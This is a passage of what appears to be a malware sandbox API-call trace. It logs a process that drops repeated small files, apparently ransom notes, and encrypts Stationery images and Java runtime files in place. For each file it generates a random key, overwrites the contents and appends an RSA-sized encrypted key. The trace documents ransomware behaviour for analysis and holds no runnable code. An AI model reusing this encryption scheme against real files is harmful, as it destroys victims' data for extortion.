nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.154] CloseHandle (hObject=0x21b4) returned 1 [0205.155] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.156] CloseHandle (hObject=0x21b4) returned 1 [0205.157] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.157] CloseHandle (hObject=0x21b4) returned 1 [0205.158] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.159] CloseHandle (hObject=0x21b4) returned 1 [0205.159] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.160] CloseHandle (hObject=0x21b4) returned 1 [0205.160] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.161] CloseHandle (hObject=0x21b4) returned 1 [0205.162] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.162] CloseHandle (hObject=0x21b4) returned 1 [0205.163] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.163] CloseHandle (hObject=0x21b4) returned 1 [0205.164] WriteFile (in: hFile=0x21b4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.165] CloseHandle (hObject=0x21b4) returned 1 [0205.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61c5f8 | out: pbBuffer=0x61c5f8) returned 1 [0205.165] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6b40 | out: pbBuffer=0x30f6b40) returned 1 [0205.165] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat", dwFileAttributes=0x80) returned 0 [0205.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61bcb0 | out: pbBuffer=0x61bcb0) returned 1 [0205.185] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6cb0 | out: pbBuffer=0x30f6cb0) returned 1 [0205.185] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat", dwFileAttributes=0x80) returned 0 [0205.186] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61d048 | out: pbBuffer=0x61d048) returned 1 [0205.186] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6b80 | out: pbBuffer=0x30f6b80) returned 1 [0205.186] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat", dwFileAttributes=0x80) returned 0 [0205.186] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61bdb8 | out: pbBuffer=0x61bdb8) returned 1 [0205.186] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6aa0 | out: pbBuffer=0x30f6aa0) returned 1 [0205.186] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat", dwFileAttributes=0x80) returned 0 [0205.187] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61ca18 | out: pbBuffer=0x61ca18) returned 1 [0205.187] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f68f0 | out: pbBuffer=0x30f68f0) returned 1 [0205.187] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat", dwFileAttributes=0x80) returned 0 [0205.187] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61cc28 | out: pbBuffer=0x61cc28) returned 1 [0205.187] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6960 | out: pbBuffer=0x30f6960) returned 1 [0205.187] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\ink\\FlickAnimation.avi", dwFileAttributes=0x80) returned 0 [0205.194] WriteFile (in: hFile=0x21b8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.195] CloseHandle (hObject=0x21b8) returned 1 [0205.205] WriteFile (in: hFile=0x21bc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.206] CloseHandle (hObject=0x21bc) returned 1 [0205.206] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61cd30 | out: pbBuffer=0x61cd30) returned 1 [0205.206] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69e0 | out: pbBuffer=0x30f69e0) returned 1 [0205.206] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\Stationery\\Stars.jpg", dwFileAttributes=0x80) returned 0 [0205.208] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61ce38 | out: pbBuffer=0x61ce38) returned 1 [0205.208] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a10 | out: pbBuffer=0x30f6a10) returned 1 [0205.208] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\Stationery\\SoftBlue.jpg", dwFileAttributes=0x80) returned 0 [0205.212] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x61d258 | out: pbBuffer=0x61d258) returned 1 [0205.212] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6920 | out: pbBuffer=0x30f6920) returned 1 [0205.212] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\Stationery\\ShadesOfBlue.jpg", dwFileAttributes=0x80) returned 0 [0205.213] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0108 | out: pbBuffer=0x30e0108) returned 1 [0205.213] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a40 | out: pbBuffer=0x30f6a40) returned 1 [0205.213] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\Stationery\\Roses.jpg", dwFileAttributes=0x80) returned 0 [0205.213] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0318 | out: pbBuffer=0x30e0318) returned 1 [0205.213] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a90 | out: pbBuffer=0x30f6a90) returned 1 [0205.213] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg", dwFileAttributes=0x80) returned 0 [0205.214] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfef8 | out: pbBuffer=0x30dfef8) returned 1 [0205.214] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6970 | out: pbBuffer=0x30f6970) returned 1 [0205.214] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\Stationery\\OrangeCircles.jpg", dwFileAttributes=0x80) returned 0 [0205.217] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df5b0 | out: pbBuffer=0x30df5b0) returned 1 [0205.217] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a20 | out: pbBuffer=0x30f6a20) returned 1 [0205.217] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\Stationery\\HandPrints.jpg", dwFileAttributes=0x80) returned 0 [0205.218] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0a50 | out: pbBuffer=0x30e0a50) returned 1 [0205.218] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69f0 | out: pbBuffer=0x30f69f0) returned 1 [0205.218] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", dwFileAttributes=0x80) returned 0 [0205.218] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df088 | out: pbBuffer=0x30df088) returned 1 [0205.218] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a30 | out: pbBuffer=0x30f6a30) returned 1 [0205.218] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\Stationery\\Garden.jpg", dwFileAttributes=0x80) returned 0 [0205.219] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df3a0 | out: pbBuffer=0x30df3a0) returned 1 [0205.219] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f69d0 | out: pbBuffer=0x30f69d0) returned 1 [0205.219] SetFileAttributesW (lpFileName="\\Program Files\\Common Files\\microsoft shared\\Stationery\\Bears.jpg", dwFileAttributes=0x80) returned 0 [0205.220] WriteFile (in: hFile=0x21cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.221] CloseHandle (hObject=0x21cc) returned 1 [0205.224] WriteFile (in: hFile=0x21d0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.225] CloseHandle (hObject=0x21d0) returned 1 [0205.237] WriteFile (in: hFile=0x21dc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.238] CloseHandle (hObject=0x21dc) returned 1 [0205.239] WriteFile (in: hFile=0x21e0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.240] CloseHandle (hObject=0x21e0) returned 1 [0205.241] WriteFile (in: hFile=0x21e8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.242] CloseHandle (hObject=0x21e8) returned 1 [0205.244] WriteFile (in: hFile=0x21ec, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.245] CloseHandle (hObject=0x21ec) returned 1 [0205.255] WriteFile (in: hFile=0x21f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.256] CloseHandle (hObject=0x21f0) returned 1 [0205.257] WriteFile (in: hFile=0x21f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.259] CloseHandle (hObject=0x21f0) returned 1 [0205.259] WriteFile (in: hFile=0x21f0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.260] CloseHandle (hObject=0x21f0) returned 1 [0205.294] WriteFile (in: hFile=0x21f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.295] CloseHandle (hObject=0x21f4) returned 1 [0205.296] WriteFile (in: hFile=0x21f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.297] CloseHandle (hObject=0x21f4) returned 1 [0205.299] WriteFile (in: hFile=0x21f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.299] CloseHandle (hObject=0x21f4) returned 1 [0205.312] WriteFile (in: hFile=0x21f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.313] CloseHandle (hObject=0x21f4) returned 1 [0205.317] WriteFile (in: hFile=0x21f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.318] CloseHandle (hObject=0x21f4) returned 1 [0205.360] WriteFile (in: hFile=0x21f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.362] CloseHandle (hObject=0x21f4) returned 1 [0205.363] WriteFile (in: hFile=0x21f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.364] CloseHandle (hObject=0x21f4) returned 1 [0205.364] WriteFile (in: hFile=0x21f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.365] CloseHandle (hObject=0x21f4) returned 1 [0205.373] WriteFile (in: hFile=0x21f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.374] CloseHandle (hObject=0x21f4) returned 1 [0205.378] WriteFile (in: hFile=0x21f4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0205.379] CloseHandle (hObject=0x21f4) returned 1 [0205.380] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30dfad8 | out: pbBuffer=0x30dfad8) returned 1 [0205.380] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a00 | out: pbBuffer=0x30f6a00) returned 1 [0205.380] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings", dwFileAttributes=0x80) returned 1 [0205.380] ReadFile (in: hFile=0x21f4, lpBuffer=0x30e1068, nNumberOfBytesToRead=0x20d0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e1068*, lpNumberOfBytesRead=0x2e1f9bc*=0x20d0, lpOverlapped=0x0) returned 1 [0205.382] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-8400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.382] WriteFile (in: hFile=0x21f4, lpBuffer=0x30e3140*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e3140*, lpNumberOfBytesWritten=0x2e1f9bc*=0x20d0, lpOverlapped=0x0) returned 1 [0205.382] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x20d0 [0205.382] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0205.382] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30dfad8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30dfad8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0205.383] WriteFile (in: hFile=0x21f4, lpBuffer=0x30dfad8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dfad8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0205.383] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6a00*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0205.383] CloseHandle (hObject=0x21f4) returned 1 [0205.434] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30e0630 | out: pbBuffer=0x30e0630) returned 1 [0205.434] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6a50 | out: pbBuffer=0x30f6a50) returned 1 [0205.434] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\tzdb.dat", dwFileAttributes=0x80) returned 1 [0205.435] ReadFile (in: hFile=0x21f4, lpBuffer=0x34be010, nNumberOfBytesToRead=0x19c1c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x34be010*, lpNumberOfBytesRead=0x2e1f9bc*=0x19c1c, lpOverlapped=0x0) returned 1 [0205.461] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-105500, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.461] WriteFile (in: hFile=0x21f4, lpBuffer=0x2eeb018*, nNumberOfBytesToWrite=0x19c1c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2eeb018*, lpNumberOfBytesWritten=0x2e1f9bc*=0x19c1c, lpOverlapped=0x0) returned 1 [0205.462] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x19c1c [0205.462] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0205.462] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30e0630*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0205.463] WriteFile (in: hFile=0x21f4, lpBuffer=0x30e0630*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30e0630*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0205.463] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6a50*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6a50*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0205.463] CloseHandle (hObject=0x21f4) returned 1 [0205.464] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df190 | out: pbBuffer=0x30df190) returned 1 [0205.464] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6900 | out: pbBuffer=0x30f6900) returned 1 [0205.464] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\rt.jar", dwFileAttributes=0x80) returned 1 [0205.658] ReadFile (in: hFile=0x21f4, lpBuffer=0x3d21020, nNumberOfBytesToRead=0x340865b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d21020*, lpNumberOfBytesRead=0x2e1f9bc*=0x340865b, lpOverlapped=0x0) returned 1 [0208.197] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-54560347, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0208.197] WriteFile (in: hFile=0x21f4, lpBuffer=0x84d7020*, nNumberOfBytesToWrite=0x340865b, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x84d7020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x340865b, lpOverlapped=0x0) returned 1 [0209.578] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x340865b [0209.578] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0209.578] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df190*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0209.579] WriteFile (in: hFile=0x21f4, lpBuffer=0x30df190*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df190*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0209.579] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6900*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6900*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0209.579] CloseHandle (hObject=0x21f4) returned 1 [0209.581] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df6b8 | out: pbBuffer=0x30df6b8) returned 1 [0209.581] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6990 | out: pbBuffer=0x30f6990) returned 1 [0209.581] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\resources.jar", dwFileAttributes=0x80) returned 1 [0209.595] ReadFile (in: hFile=0x21f4, lpBuffer=0x3d29020, nNumberOfBytesToRead=0x354add, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d29020*, lpNumberOfBytesRead=0x2e1f9bc*=0x354add, lpOverlapped=0x0) returned 1 [0209.778] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-3492573, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0209.779] WriteFile (in: hFile=0x21f4, lpBuffer=0x408f020*, nNumberOfBytesToWrite=0x354add, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x408f020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x354add, lpOverlapped=0x0) returned 1 [0209.839] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x354add [0209.839] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0209.839] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x30df6b8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0209.839] WriteFile (in: hFile=0x21f4, lpBuffer=0x30df6b8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30df6b8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0209.840] WriteFile (in: hFile=0x21f4, lpBuffer=0x30f6990*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f6990*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0209.840] CloseHandle (hObject=0x21f4) returned 1 [0209.842] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x30df298 | out: pbBuffer=0x30df298) returned 1 [0209.842] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x30f6910 | out: pbBuffer=0x30f6910) returned 1 [0209.842] SetFileAttributesW (lpFileName="\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar", dwFileAttributes=0x80) returned 1 [0209.849] ReadFile (in: hFile=0x21f4, lpBuffer=0x3d2b020, nNumberOfBytesToRead=0x1d588b, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3d2b020*, lpNumberOfBytesRead=0x2e1f9bc*=0x1d588b, lpOverlapped=0x0) returned 1 [0209.927] SetFilePointer (in: hFile=0x21f4, lDistanceToMove=-1923211, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0209.927] WriteFile (in: hFile=0x21f4, lpBuffer=0x3f11020*, nNumberOfBytesToWrite=0x1d588b, lpNumberOfBytesWritten=0x2e1f9bc, 